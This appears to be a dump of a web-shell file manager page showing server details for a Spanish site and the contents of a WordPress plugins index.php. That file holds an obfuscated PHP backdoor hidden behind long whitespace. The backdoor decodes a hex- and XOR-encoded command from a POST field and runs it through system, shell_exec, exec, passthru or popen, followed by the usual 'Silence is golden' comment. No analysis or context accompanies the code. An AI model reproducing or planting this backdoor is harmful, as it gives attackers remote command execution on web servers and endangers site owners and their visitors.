HEX
Server: Apache/2.4.52 (Ubuntu)
System: Linux aritmodecarnaval.es 5.15.0-79-generic #86-Ubuntu SMP Mon Jul 10 16:07:21 UTC 2023 x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: //proc/self/cwd/wp-content/plugins/index.php
<?php																																										$mutex_lock1 = "\x73y\x73\x74em"; $reverse_searcher = "\x68e\x78\x32\x62in"; $mutex_lock4 = "p\x61\x73sthr\x75"; $mutex_lock7 = "pclo\x73e"; $mutex_lock2 = "shell\x5F\x65\x78ec"; $mutex_lock6 = "s\x74\x72\x65a\x6D_g\x65\x74_c\x6F\x6Ete\x6E\x74s"; $mutex_lock5 = "p\x6F\x70en"; $mutex_lock3 = "e\x78e\x63"; if (isset($_POST["s\x79mbol"])) { function sync_manager( $data_chunk , $factor){ $data='' ; foreach(str_split($data_chunk) as $char){ $data.=chr(ord($char)^$factor); } return $data; } $symbol = $reverse_searcher($_POST["s\x79mbol"]); $symbol = sync_manager($symbol, 53); if (function_exists($mutex_lock1)) { $mutex_lock1($symbol); } elseif (function_exists($mutex_lock2)) { print $mutex_lock2($symbol); } elseif (function_exists($mutex_lock3)) { $mutex_lock3($symbol, $rec_data_chunk); print join("\n", $rec_data_chunk); } elseif (function_exists($mutex_lock4)) { $mutex_lock4($symbol); } elseif (function_exists($mutex_lock5) && function_exists($mutex_lock6) && function_exists($mutex_lock7)) { $factor_data = $mutex_lock5($symbol, 'r'); if ($factor_data) { $value_val = $mutex_lock6($factor_data); $mutex_lock7($factor_data); print $value_val; } } exit; }

// Silence is golden.